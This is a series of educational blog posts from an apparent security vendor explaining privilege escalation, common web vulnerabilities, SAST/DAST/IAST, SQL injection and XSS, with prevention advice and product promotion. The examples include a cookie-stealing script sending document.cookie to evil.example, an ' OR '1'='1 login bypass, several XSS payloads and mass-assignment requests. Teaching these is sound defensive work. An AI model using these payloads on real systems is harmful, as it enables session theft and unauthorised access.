Author: UnboundCompute

  • What is privilege escalation? Examples explained

    What is privilege escalation? Examples explained

    Most web apps decide what you can see and do based on who you are. When an attacker breaks that decision and gains rights they were never granted, that is privilege escalation. It is one of the most common and most damaging classes of bug in modern web apps, and it usually hides in plain sight inside ordinary features.

    The good news is that the idea is simple once you see a few examples. Below we walk through what the bug looks like, the two main flavors, and how to spot and stop it in your own app.

    What is privilege escalation?

    Privilege escalation happens when a user performs an action or reads data that their account should not be allowed to touch. The app trusts the request without checking, on the server, whether this specific user is allowed. The attacker does not break the login. They log in as themselves and then reach further than their account permits.

    Think about a typical SaaS app we will call Acme Notes. Every user has a role, and every note has an owner. The rules are clear on paper. A regular member can edit their own notes. An admin can manage every account. Privilege escalation is what happens when the code never enforces those rules on each request.

    Authentication proves who you are. Authorization decides what you may do. Privilege escalation is the gap that opens when the second check is missing or wrong.

    The two kinds: horizontal and vertical

    Almost every case fits into one of two shapes. Both come from the same root cause, a missing server side check, but they reach different targets.

    Horizontal escalation: acting as another user at the same level

    Horizontal escalation means you stay at your own permission level but act as a different account at that same level. You are a member, and you reach into another member’s data.

    In Acme Notes, suppose the app loads a note like this:

    GET /api/notes/8841
    Authorization: Bearer (your real token)

    You own note 8841. Out of curiosity you change the number:

    GET /api/notes/8842

    If the server returns note 8842 and it belongs to someone else, the app never checked ownership. It saw a valid login and trusted the request. That is a classic example, often called an insecure direct object reference. The same flaw shows up on profile pages such as /api/users/1207/settings, on invoices, on file downloads, and anywhere an identifier appears in the URL or body.

    Vertical escalation: becoming an admin

    Vertical escalation means you climb to a higher permission level than your account should have. A member becomes an admin. Here are two simple invented examples.

    • Flipping a role field. Imagine the signup or profile update endpoint accepts the whole user object and saves every field it receives. You send your normal update but add one line:
      PATCH /api/users/me
      {
        "displayName": "Sam",
        "role": "admin"
      }

      If the server saves role straight from the request body, you just promoted yourself. This is a mass assignment bug, and it turns a profile form into an admin switch.

    • Hitting an admin only endpoint directly. The admin dashboard link is hidden from your navigation bar, so it feels protected. But the button only hides the link, it does not guard the route. You guess or read the path and call it yourself:
      POST /api/admin/users/3092/delete

      If the server runs the action because you are logged in, without checking that you are an admin, the hidden link was the only lock on the door.

    How it connects to broken access control

    Privilege escalation is the practical result of broken access control. Access control is the set of rules about who can do what. When those rules are checked in the browser only, or checked for some routes but forgotten on others, or written so that any logged in user passes, the control is broken. An attacker walks straight through the gap.

    The pattern repeats across apps because the checks are scattered. One endpoint verifies ownership, the next one nearby does not. A new feature ships without the guard the older feature had. You can read more in our access control category, where this family of bugs lives.

    How to spot it

    You find these bugs by questioning what the app assumes about you, then testing each assumption with a real request. A few concrete checks:

    • Change the identifier. Take any request with an id in the path or body and swap it for an id you do not own. If you get data back, you found horizontal escalation.
    • Add fields the form does not show. Send role, isAdmin, accountType, or ownerId in an update request and see if the server keeps them.
    • Call privileged routes as a low rights user. List every admin endpoint you can find and request each one with a plain member token. A 200 OK where you expected 403 is the bug.
    • Compare two accounts. Log in as a member and as an admin. Watch which checks the server applies to one and skips for the other.

    The mindset matters more than any single test. You are not throwing known payloads at the app. You are reading how the app expects to be used, then asking what happens when you step outside that expectation.

    How to prevent it

    Every fix comes back to one rule: check authorization on the server, for every request, against the user making it.

    • Check ownership and role on each request. Before returning note 8842, confirm the note’s owner matches the logged in user. Before running an admin action, confirm the caller is an admin. Do this on the server, never in the browser alone.
    • Deny by default. New routes should reject access until you explicitly allow it. A forgotten guard should fail closed, not open.
    • Never trust client supplied fields for permissions. Read role and ownerId from your database record for the session, not from the request body. Allow list the fields an update may change.
    • Use one shared authorization layer. When every route calls the same access check, you stop the slow drift where one endpoint is safe and the next one is not.
    • Test the negative case. Write tests that confirm a member gets 403 on admin routes and cannot read another member’s data. Run them on every change.

    Privilege escalation rarely announces itself. There is no crash and no error in the logs, just a request that succeeded when it should have failed. That quietness is exactly why testing the assumptions an app makes finds these bugs when a fixed list of payloads will not. It is the kind of flaw an autonomous researcher built to understand an app, form ideas about where its logic breaks, and verify each finding with real evidence is made to catch. If you want to see how we think about this, read more about UnboundCompute.

    Frequently asked questions

    What is privilege escalation in a web application?

    Privilege escalation is when a user performs an action or reads data their account should not be allowed to touch, because the app trusts the request without checking on the server whether that specific user is permitted. The attacker does not break the login, they log in as themselves and then reach further than their account allows.

    What is the difference between horizontal and vertical privilege escalation?

    Horizontal escalation means you stay at your own permission level but act as a different account at that same level, such as reading another member’s note by changing the id. Vertical escalation means you climb to a higher level than your account should have, such as a member becoming an admin. Both come from the same root cause, a missing server side check.

    How can I test my app for privilege escalation?

    Change an id in a request to one you do not own and see if data comes back, add fields like role or isAdmin to an update and see if the server keeps them, and call admin only routes with a plain member token. A 200 OK where you expected 403 is the bug. The OWASP Broken Access Control entry describes the underlying weakness.

    How do you prevent privilege escalation?

    Check authorization on the server, for every request, against the user making it. Deny by default so a forgotten guard fails closed, read role and ownership from your database record rather than the request body, and route every endpoint through one shared authorization layer.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • The most common web vulnerabilities, explained simply

    The most common web vulnerabilities, explained simply

    The most common web vulnerabilities are broken access control, injection, cross site scripting, authentication failures, security misconfiguration, and business logic flaws. Those six explain the majority of real breaches you read about. If you are new to security the list of things that can go wrong feels endless, but the same handful of mistakes show up again and again. This post walks through each one in plain words, loosely following the OWASP Top 10, with a tiny example for each.

    Why do the most common web vulnerabilities matter more than the rare ones?

    They matter more because attackers are practical. They reach for the bugs that are easy to find and pay off fast, which is why the most common web vulnerabilities keep topping every list. Understand these six and you can spot a large share of the types of security vulnerabilities in any app you touch. The table below is the short version.

    The bugs that cause the most damage are rarely exotic. They are ordinary mistakes that nobody tested for.

    Vulnerability What breaks Typical fix
    Broken access control You are logged in, but the app never checks that this record is yours Check ownership on the server for every request
    Injection Input is mixed into a query or command and changes what it does Use parameterized queries so input stays a value
    Cross site scripting (XSS) One user’s input runs as code in another user’s browser Escape output, and set cookies as HttpOnly
    Authentication failures The app can be fooled about who you are Long random tokens, single use and short lived, plus rate limits
    Security misconfiguration Defaults and forgotten settings leak detail or expose admin surfaces Generic errors, private logs, debug off in production
    Business logic flaws Every request is valid, but the values or sequence break an assumed rule Test what happens when the app’s assumptions are false

    What is broken access control?

    Broken access control is when the app lets one user reach data or actions that should belong to someone else. The code checks that you are logged in, but forgets to check whether this specific thing is yours.

    A tiny example

    Say a notes app shows your note here:

    GET /api/notes/1042

    You change the number by hand:

    GET /api/notes/1043

    If the server returns someone else’s note, that is broken access control. The app trusted the ID in the request instead of checking that note 1043 belongs to you. This class tops most surveys, and it is easy to miss because every screen looks fine when you test with your own account. The access control category covers how these checks fail and how to test for them.

    What is injection?

    Injection happens when user input is mixed straight into a command, a query, or a template, so the input can change what that command does. The classic case is SQL injection.

    A tiny example

    Imagine a login query built by gluing strings together:

    SELECT * FROM users WHERE email = '" + email + "'

    A visitor types this into the email field:

    ' OR '1'='1

    Now the query always matches, and the attacker is logged in as the first user in the table. The fix is to stop mixing data and code: use parameterized queries. The same idea applies to operating system commands and template engines, and the injection and input category goes through the main flavors and the safe patterns.

    What is cross site scripting (XSS)?

    XSS is injection aimed at the browser. The app takes input from one user and shows it to another without cleaning it, so it runs as code in the victim’s browser.

    A tiny example

    A comment box lets you post this:

    <script>fetch('https://evil.example/steal?c='+document.cookie)</script>

    If the app prints comments back onto the page as raw HTML, everyone who views that comment runs the script, and their session cookie goes to the attacker. The fix is to escape output so <script> shows up as text, and to set cookies as HttpOnly so scripts cannot read them. Our free cookie security auditor checks those flags for you.

    What are authentication failures?

    Authentication failures cover the ways an app fails to confirm who someone really is: weak passwords allowed, no limit on login attempts, reset tokens that never expire, session IDs that are easy to guess. Our free password strength analyzer shows how length changes survival time against guessing.

    A tiny example

    An app sends a password reset link with a token in the URL:

    https://acme-notes.example/reset?token=100024

    The token is just a counter. An attacker requests a reset for their own account, sees token 100024, then tries 100023 and 100025 to hijack other accounts. Reset tokens should be long, random, single use, and short lived, and reset endpoints rate limited so guessing is slow and noisy.

    What is security misconfiguration?

    Security misconfiguration is when the code is fine and the setup is the problem. Default passwords, debug mode on in production, a storage bucket set to public, an admin panel exposed to the internet, verbose errors that leak stack traces.

    A tiny example

    A server returns a detailed error:

    500 Internal Server Error
    DBException: connection failed for user 'root' at db-prod-01:5432
    Stack trace: /app/services/billing.py line 88 ...

    That message hands an attacker the database user, the host, the port, and a map of your code. Show users a generic error, log the detail privately, and turn off debug output before you ship. It is common because it lives in defaults and forgotten settings, not in any line of code you wrote on purpose.

    What are business logic flaws?

    Business logic flaws are bugs where every individual request is valid, but the sequence or the values break a rule the app assumed nobody would break. There is no special character to escape and no obvious payload; the flaw is in the logic itself.

    A tiny example

    A checkout flow charges a discount based on a quantity sent by the client:

    POST /api/cart/add
    { "item": "license", "quantity": -3, "unit_price": 50 }

    Nobody expected a negative quantity, so the total becomes a credit and the customer gets paid to order. Another version: applying the same single use coupon twice by sending two requests at once, before the first marks it as spent. Generic tools rarely catch these, because finding them means understanding what the app should do, then asking what happens when an assumption is false.

    How do these classes connect?

    They connect by chaining, because most real incidents are a chain rather than a single bug. An attacker might use a misconfiguration leak to learn an internal URL, then broken access control to read another tenant’s records, then a business logic flaw to escalate. Learning them as separate ideas is the start; seeing how they combine is what makes someone good at the work.

    • Broken access control: can I reach things that are not mine?
    • Injection: is my input being treated as code?
    • XSS: can my input run in someone else’s browser?
    • Authentication failures: can the app be fooled about who I am?
    • Security misconfiguration: is the setup leaking or wide open?
    • Business logic flaws: what rule did the app assume I would never break?

    Where should you go from here?

    Pick one class and practice spotting it in a small app you control, or in the free labs of the Web Security Academy. Change an ID in a URL. Type a quote into a search box and watch the error. Send a negative number where a positive one is expected. The habit is asking what the app assumes, then testing whether that assumption holds.

    That last question, what does this app assume and what happens when the assumption is false, is exactly the kind of bug an autonomous researcher that tests assumptions is built to find. UnboundCompute learns how an app is meant to work, forms ideas about where the logic could break, runs experiments, and proves a finding with concrete evidence before reporting it. If that approach interests you, read more on the about page.

    Frequently asked questions

    What are the most common web application vulnerabilities?

    The handful that show up again and again are broken access control, injection, cross site scripting, authentication failures, security misconfiguration, and business logic flaws. Learning these classes explains the majority of real breaches you read about. The OWASP Top 10 tracks this list in detail.

    What is the most common serious web vulnerability?

    Broken access control tops most surveys. It happens when the app confirms you are logged in but forgets to check whether you are allowed to touch a specific thing, so changing an id like /api/notes/1042 to /api/notes/1043 returns someone else’s data.

    What is a business logic flaw and why do scanners miss it?

    A business logic flaw is when every individual request is valid but the values or the sequence break a rule the app assumed nobody would break, such as sending a negative quantity at checkout so the total becomes a credit. There is no special character or payload to flag, so generic tools miss it because finding it means understanding what the app is supposed to do.

    How do real attackers combine these vulnerabilities?

    Most real incidents are a chain, not a single bug. An attacker might use a small leak from a misconfiguration to learn an internal URL, use broken access control to read another tenant’s records, then use a business logic flaw to escalate further.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • SAST vs DAST vs IAST, what is the difference?

    SAST vs DAST vs IAST, what is the difference?

    If you have shopped for application security tools, you have run into the alphabet soup of SAST, DAST, and IAST. The sast vs dast question is the one most teams start with, but IAST sits in the middle and changes the answer. This post gives plain definitions for all three, shows what each catches and misses, and is honest about where they fall short.

    The short version of sast vs dast vs iast

    The three tools differ by where they stand and what they can see.

    • SAST (Static Application Security Testing) reads your source code without running it. It looks for dangerous patterns in the text of the program.
    • DAST (Dynamic Application Security Testing) tests the running app from the outside, like an attacker with no source code. It sends requests and reads responses.
    • IAST (Interactive Application Security Testing) watches from inside the running app. An agent sits in the process and sees both the incoming request and the line of code that handles it.

    SAST: reading the source code

    SAST parses your code and models how data flows through it. It traces a value from where it enters, such as a request parameter, to where it gets used, such as a database query or an HTML response. If tainted input reaches a dangerous function without being cleaned, SAST flags it.

    Here is the kind of flow SAST is good at spotting:

    name = request.args.get("name")
    query = "SELECT * FROM users WHERE name = '" + name + "'"
    db.execute(query)

    The user controls name, it lands in a SQL string with no escaping, and SAST follows that path from input to sink.

    What SAST catches

    • Injection patterns: SQL, command, and template injection where input flows into a sink.
    • Hardcoded secrets, weak crypto calls, and unsafe deserialization. Spotting a key or password committed straight into source is a classic static analysis check, and our free secret scanner runs that same kind of pattern check over code you paste in.
    • Bugs on code paths that are hard to reach with traffic, since SAST reads every branch whether or not it runs.

    What SAST misses

    • Anything that depends on configuration or the live environment. A query that looks unsafe may sit behind a parameterized layer SAST cannot model.
    • Logic that lives in a framework, a stored procedure, or a third party library the scanner does not parse.

    DAST: testing the running app from outside

    DAST treats the app as a black box. It crawls the pages, finds inputs, and throws payloads at them to see how the app reacts. If a request returns a database error or a reflected script, DAST records a finding.

    A simple DAST probe for reflected cross site scripting looks like this:

    GET /search?q=<script>alert(1)</script> HTTP/1.1
    Host: acmenotes.example

    If that <script> tag comes back in the HTML response unescaped, the app is reflecting raw input and DAST flags it.

    What DAST catches

    • Real behavior of the deployed app, including server config, headers, and TLS settings.
    • Reflected and stored injection, broken authentication flows, and missing security headers.
    • Issues that only show up once everything is wired together.

    What DAST misses

    • Code paths it never reaches. If the crawler does not find a form or an API route, that route is never tested.
    • The exact line of code at fault. DAST tells you the app misbehaved, not where in the source to fix it.
    • Bugs that need a valid login or a specific account state the scanner cannot reproduce.

    IAST: watching from inside while the app runs

    IAST puts an agent inside the running process, often through the language runtime. As traffic flows through the app, the agent sees the request, follows the data through the code that executes, and watches it reach a sink. It is dynamic like DAST, but with the inside view DAST lacks. So it can say something precise: this request reached this query on this line with this tainted value. That pairing is its main advantage.

    What IAST catches

    • Injection and input flaws confirmed against code that actually ran, so fewer guesses.
    • The specific file and line, which makes the fix faster than with DAST alone.
    • Flaws deep inside libraries, since the agent watches data move through them at run time.

    What IAST misses

    • Code that is never exercised. IAST only sees paths that real traffic or tests drive, so coverage depends on how thoroughly the app is used during testing.
    • Languages and runtimes the agent does not support, since instrumentation is tied to the platform.
    • Bugs outside the instrumented process, such as flaws in a separate service.

    Side by side: sast vs dast vs iast

    • SAST. Sees source code, does not run the app. Strong on coverage of every branch. Weak on run time and config reality.
    • DAST. Sees outside behavior, runs the app, needs no source. Strong on real deployed behavior. Weak on pointing to the exact code.
    • IAST. Sees inside the running app, needs runtime access. Strong on precise, confirmed findings. Weak on coverage of paths that never run.

    Where false positives come from

    Each tool gets noisy for its own reason.

    • SAST flags a path that looks dangerous but is safe, because it cannot see that a value was validated in a way it does not model, or that the path is dead code.
    • DAST reads a response and guesses. A database error in the page can be a leftover string, not proof of injection, so it raises a finding that is not real.
    • IAST is usually the quietest, because it confirms a finding against code that ran. Even so, it can mistake a safe sanitizer for a missing one if it does not recognize the cleaning function you use.

    The cost is real. Every wrong alert is time a developer spends ruling it out, and a backlog of noise trains teams to ignore the tool.

    The honest limit: none of them understand business logic

    Here is the part the vendor pages skip. All three look for known shapes of bugs. None understands what your app is supposed to do.

    Pattern matchers find the bug they were told to look for. They do not ask whether a user who can read invoice 41 should be able to read invoice 42.

    Consider GET /api/invoices/42 where the logged in user only owns invoice 41. Nothing in that request is malformed. No script tag, no SQL, no broken header. SAST sees clean code, DAST sees a normal 200 response, and IAST sees a safe query running. They all agree the request is fine, and they are all wrong, because the app forgot to check who owns invoice 42. This is broken access control, one of the most common serious bugs in real apps, and the scanners miss it because there is no pattern.

    For more on this gap between pattern matching tools and real reasoning about an app, read scanners vs research.

    So which one do you need?

    For most teams it is not one tool but a stack. SAST runs early on every commit and catches obvious sink bugs before they ship. DAST runs against a deployed build and shows how the real app behaves. IAST rides along with your existing tests and gives precise findings on the paths your traffic touches. They overlap, and that overlap is fine, because each one fails in a different place.

    What none of them replaces is a tester who reads the app’s logic and asks whether its assumptions hold. That assumption testing is exactly the kind of work an autonomous researcher is built to do, looking past fixed payload lists to the rules an app quietly trusts. Read how we think about it on our about page.

    Frequently asked questions

    What is the difference between SAST, DAST, and IAST?

    SAST reads your source code without running it and looks for dangerous patterns in the text. DAST tests the running app from the outside like an attacker with no source code. IAST puts an agent inside the running process so it sees both the incoming request and the line of code that handles it. The OWASP guidance on source code analysis tools covers the static side in more depth.

    Which is better for finding bugs, SAST or DAST?

    Neither is strictly better because they fail in different places. SAST covers every code branch whether or not it runs but cannot see live config or runtime reality, while DAST shows real deployed behavior but cannot point to the exact line of code or reach routes its crawler never finds. Most teams run both rather than picking one.

    Why does IAST usually have fewer false positives?

    IAST confirms a finding against code that actually ran, watching a tainted value reach a specific sink on a specific line, so it guesses less than DAST or SAST. It can still misfire if it does not recognize a safe sanitizer you use, and it only sees paths that real traffic or tests exercise.

    Can SAST, DAST, or IAST find broken access control?

    Usually no. A request like GET /api/invoices/42 from a user who only owns invoice 41 is well formed, returns a normal 200, and runs a safe query, so all three tools see nothing wrong. They look for known bug shapes and do not understand which user should be allowed to read which object.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • What is SQL injection and how does it work?

    What is SQL injection and how does it work?

    SQL injection is one of the oldest bugs on the web, and it still shows up in real applications today. At its core, SQL injection happens when an application builds a database query by gluing user input directly into the query text, so an attacker can send input that changes what the query means. This post explains what SQL injection is and how it works, with a small login example you can read in a minute.

    What is SQL injection in plain terms

    A web app talks to its database using SQL, a language for asking questions like “find the user with this email.” When the app writes that question, it often needs to drop in a value the user typed, like an email or a password. The safe way is to keep that value as data. The unsafe way is to paste it straight into the query string. When the app pastes it in, the user controls part of the query, not just part of the answer.

    Here is the key idea. The database cannot tell the difference between the query the developer meant to write and the extra query syntax the attacker typed. It just runs whatever text it receives. So if the input contains quotes, operators, or SQL keywords, those become part of the command.

    If user input can change the structure of a query instead of just the values inside it, the user is writing your SQL for you.

    How does SQL injection work in a login query

    Imagine a login form on an invented app called Acme Notes. The server takes the email and password and builds a query by string concatenation. In a backend language this might look like the following.

    query = "SELECT id FROM users WHERE email = '" + email + "' AND password = '" + password + "'"

    If a normal user types alice@example.com and hunter2, the final query is exactly what the developer expected.

    SELECT id FROM users WHERE email = 'alice@example.com' AND password = 'hunter2'

    Now look at what happens when an attacker types ' OR '1'='1 into the email field and leaves the password blank or fills it with anything. The concatenation produces this.

    SELECT id FROM users WHERE email = '' OR '1'='1' AND password = ''

    The attacker’s quote closed the email string early, and the added OR '1'='1' is a condition that is always true. The query no longer asks “is this the right email and password.” It asks something the developer never wrote. Depending on how the rows come back, this can return a user record and let the attacker through the login without knowing any real credentials. The same trick, with different syntax, can read data the attacker should never see.

    Why the quote matters

    The single quote is the turning point. Inside the query, a quote marks the start and end of a text value. When user input is allowed to contain its own quote, it can break out of the value and into the command. Everything after the breakout is treated as SQL, not as data. That is the whole mechanism in one sentence.

    What is the purpose of an SQL injection and what can an attacker do

    The purpose of an SQL injection, from the attacker’s side, is to make the database run commands the application never intended. Once they can shape the query, the range of damage is wide.

    • Bypass login, as shown above, by forcing a condition to be true.
    • Read other people’s data, like dumping every row in the users table or pulling password hashes, order history, or private notes.
    • Change or delete data, by injecting an UPDATE or DELETE when the query allows it.
    • Probe blindly, where the app shows no data but behaves differently for true and false conditions, so the attacker reads the database one yes or no answer at a time.
    • Reach further in, since on some setups a database account has enough rights to read files or run system commands.

    The common thread is trust. The app trusted that the email field held an email. The attacker proved that assumption wrong.

    Why SQL injection still happens

    This bug class has been understood for over twenty years, so it is fair to ask why it keeps appearing. A few honest reasons.

    • String building feels natural. Concatenating a query reads like normal code, and it works in testing because testers type ordinary input.
    • It hides in corners. The main login form might be safe while a search filter, an export feature, or an admin report still pastes input into a query.
    • ORMs are not a free pass. Many query builders are safe by default, but most also offer a raw query escape hatch, and that is where the bug sneaks back in.
    • Inputs you forget about. Headers, cookies, and JSON fields all reach the database too, not just visible form boxes.

    How to fix and prevent it

    The fix is direct, and it is the same idea every time. Keep user input as data, never as query structure. The standard tool for that is parameterized queries, also called prepared statements.

    Use parameterized queries

    With a parameterized query, you write the SQL once with placeholders, then pass the values separately. The database treats those values as pure data, so a quote in the input is just a quote, not a command. Here is the same login, done safely.

    query = "SELECT id FROM users WHERE email = ? AND password_hash = ?"
    db.execute(query, [email, password_hash])

    Now if someone sends ' OR '1'='1, the database looks for a user whose email is literally the string ' OR '1'='1. It finds none, and the login fails as it should. The attacker lost the ability to change the query’s shape.

    Back it up with more layers

    • Hash passwords and compare hashes, so a query never holds a raw password to begin with.
    • Validate input against what you expect, such as an email format, to reject obvious junk early. Treat this as a helper, not the main defense.
    • Limit database rights, so the account the app uses cannot drop tables or read files it never needs.
    • Review the raw query paths, since those escape hatches are where injection survives. Search the code for places that build a query from a string.

    If you want more on this family of bugs and how to catch them, the injection and input category collects related explainers.

    How to tell if your app has this bug

    Finding SQL injection is less about throwing payloads and more about understanding which inputs reach a query and what the app assumes about them. A scanner can flag the obvious cases. The harder ones live in the assumptions, like a report filter that quietly trusts a sort parameter, or a search field that an ORM passes through as raw SQL. Those need someone, or something, that reads how the app is meant to work and then tests where that logic could break.

    SQL injection is a clear example of one trusted assumption, that an input is only data, turning into full control of a query. This is exactly the kind of bug an autonomous researcher that tests an application’s assumptions is built to find and then prove with real evidence. You can read more about that approach on the about page.

    Frequently asked questions

    What is SQL injection in simple terms?

    SQL injection is a bug where an application builds a database query by pasting user input straight into the query text, so an attacker can send input that changes what the query does instead of just supplying a value. The database runs the whole string, so a quote or keyword in the input becomes part of the command. See the OWASP SQL Injection page for more.

    How does a SQL injection login bypass work?

    The attacker types something like ' OR '1'='1 into a field that gets concatenated into the query. The added quote closes the string early and the always true condition makes the WHERE clause match a row, so the login can succeed without a real password.

    How do you prevent SQL injection?

    Use parameterized queries, also called prepared statements, so the SQL is written with placeholders and the values are passed separately as pure data. Then a quote in the input stays a quote and cannot change the query structure. Back this up by limiting database account rights and reviewing any raw query paths.

    Can an ORM stop SQL injection on its own?

    Not entirely. Many query builders are safe by default, but most also offer a raw query escape hatch, and that is where injection sneaks back in. You still need to review every place that builds a query from a string.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • What is XSS and how does it work? With examples

    What is XSS and how does it work? With examples

    If you have ever wondered what is XSS and how does it work, the short answer is this: cross site scripting happens when an app takes input from one user and hands it to another user’s browser as code instead of plain text. The browser runs that code with the same trust it gives the real site. That means an attacker can read cookies, change the page, or act as the victim.

    What cross site scripting actually is

    A web page mixes two kinds of content. There is the markup and script the site author wrote, and there is data, like a comment, a search term, or a username. The browser cannot tell them apart on its own. It trusts whatever the server sends. Cross site scripting is the bug where attacker data crosses over and becomes script.

    Here is the core idea. A user types a comment. The app stores it. Later the app prints that comment back into the HTML of a page. If the app prints it raw, and the comment contains a <script> tag, the tag runs in the next reader’s browser. The attacker never touched that reader. The site delivered the payload for them.

    The browser runs attacker text as code because the app never told it where the data ends and the markup begins.

    Why it matters

    Script that runs on the page runs as the logged in user. It can read document.cookie if the session cookie is not protected, submit forms, or quietly change account settings. The attacker does not need the victim’s password. They borrow the victim’s open session.

    The three types of XSS, with simple examples

    People sort cross site scripting into three buckets based on where the bad input lives and how it reaches the browser. The examples below use an invented app called Acme Notes, a small site where people post public notes and comments. None of these target a real system.

    Stored XSS

    Stored XSS means the payload is saved in the database and served to everyone who views the page. It is the worst of the three because one submission can hit many users. This is a clear stored xss example.

    Imagine the comment box on Acme Notes. A visitor submits this in the comment field:

    <script>alert('xss')</script>

    The app saves the text as is. When the note page renders, it builds the HTML like this on the server:

    <div class="comment">
      <script>alert('xss')</script>
    </div>

    Now every person who opens that note runs the script. The alert('xss') is harmless on its own. It only pops a box. But a real attacker would swap it for code that reads the session cookie and sends it to a server they control. Same hole, worse payload.

    Reflected XSS

    Reflected XSS means the payload is not stored. It rides in the request, usually in a URL, and the server reflects it straight back into the response. The victim has to open a crafted link. This is a plain reflected xss example.

    Say Acme Notes has a search page that shows what you searched for:

    https://acme-notes.example/search?q=hello

    The page prints: You searched for: hello. If the app prints the q value raw, an attacker can build a link where q is a script:

    https://acme-notes.example/search?q=<script>alert('xss')</script>

    Anyone who clicks that link runs the script in their own browser, on the real Acme Notes domain. The attacker sends the link by email or chat. The bug is on the page, but the trigger is the click.

    DOM based XSS

    DOM based XSS happens fully in the browser. The server may send clean HTML, but client JavaScript reads attacker input and writes it into the page in an unsafe way. The dangerous step is in the script the site already ships.

    Suppose Acme Notes shows a welcome banner using the part of the URL after the #:

    const name = location.hash.slice(1);
    document.getElementById('banner').innerHTML = 'Hi ' + name;

    Now an attacker shares this link:

    https://acme-notes.example/#<img src=x onerror=alert('xss')>

    The innerHTML assignment turns the text into real elements. The broken image fires its onerror handler, and the script runs. The server never saw the payload, because the part after # never leaves the browser. That is why server side filters miss it.

    What is XSS and how does it work under the hood

    Every variant of cross site scripting comes from one root cause. The app treats untrusted input as trusted output. The fix is to keep data as data the whole way through. There are two layers that do most of the work.

    Output encoding

    Encode data for the exact spot where it lands. When you put user text inside HTML, convert the characters that have meaning in HTML so the browser shows them instead of running them:

    • < becomes &lt;
    • > becomes &gt;
    • & becomes &amp;
    • " becomes &quot;

    After encoding, the earlier stored payload renders as visible text:

    <div class="comment">
      &lt;script&gt;alert('xss')&lt;/script&gt;
    </div>

    The reader sees the literal characters and nothing runs. Most template engines do this for you if you use their normal output syntax instead of a raw or unescaped output. Encoding depends on context. HTML body, an HTML attribute, JavaScript, and a URL each need their own encoding rules, so use a library that knows the difference rather than rolling your own escapes.

    Avoid the unsafe sinks

    For DOM based bugs, stop feeding untrusted input into sinks that parse HTML or run code. Reach for safe ones instead:

    • Use textContent instead of innerHTML when you only need text.
    • Avoid eval, setTimeout with a string, and document.write on user input.
    • Set attributes with setAttribute rather than building HTML strings by hand.

    Content Security Policy

    A Content Security Policy is a response header that tells the browser which scripts are allowed to run. It is a second line of defense, not a replacement for encoding. A strict policy blocks inline scripts and scripts from domains you did not approve:

    Content-Security-Policy: default-src 'self'; script-src 'self'

    With that header, an injected inline <script> is refused even if it slips into the page. Pair it with the HttpOnly flag on session cookies so script cannot read them through document.cookie. Layered defenses mean one mistake does not hand over the account. To find the weak spots in a policy before you ship it, our free Content Security Policy evaluator audits each directive and flags bypassable sources. You can check whether a site sets a strong policy and the rest of its security headers with our free security headers and CSP analyzer, which runs entirely in your browser.

    How to spot it before an attacker does

    Finding cross site scripting is partly about knowing where input flows. Trace every place the app reads input, then follow it to every place that input is written back out. Comment fields, search boxes, profile names, URL parameters, and error messages that echo your input are common starting points. For a wider tour of input bugs, see our injection and input category.

    The hard cases are the ones that depend on how the app assumes its own data behaves, like a field that is encoded in one view and printed raw in another. Those gaps show up when you understand what the app expects, not just when you throw a list of payloads at it. This is exactly the kind of bug an autonomous researcher that tests an app’s assumptions is built to find and then prove with real evidence. You can read more about that approach on our about page.

    Frequently asked questions

    What is XSS and how does it work?

    Cross site scripting, or XSS, happens when an app takes input from one user and hands it to another user’s browser as code instead of plain text. The browser runs that code with the same trust it gives the real site, so an attacker can read cookies, change the page, or act as the victim. The root cause is that the app treats untrusted input as trusted output. Learn more at the PortSwigger Web Security Academy.

    What are the three types of XSS?

    Stored, reflected, and DOM based. Stored XSS saves the payload in the database and serves it to everyone who views the page, which makes it the worst because one submission can hit many users. Reflected XSS rides in a request such as a URL and is echoed straight back, so the victim has to open a crafted link. DOM based XSS happens fully in the browser when client JavaScript writes attacker input into the page unsafely.

    How do I prevent cross site scripting?

    Keep data as data the whole way through. Encode user input for the exact context where it lands, so characters like < and > render as visible text instead of running, and let your template engine’s normal output syntax handle it rather than rolling your own escapes. For DOM bugs, prefer safe sinks like textContent over innerHTML and avoid eval and document.write on user input.

    Does a Content Security Policy stop XSS on its own?

    No. A Content Security Policy is a second line of defense, not a replacement for output encoding. A strict policy like default-src 'self'; script-src 'self' blocks inline scripts and scripts from domains you did not approve, so an injected inline script is refused even if it slips into the page. Pair it with the HttpOnly flag on session cookies so script cannot read them, since layered defenses mean one mistake does not hand over the account.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: CSP Evaluator lets you paste a Content Security Policy and see which directives actually stop XSS. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • What is a business logic vulnerability?

    What is a business logic vulnerability?

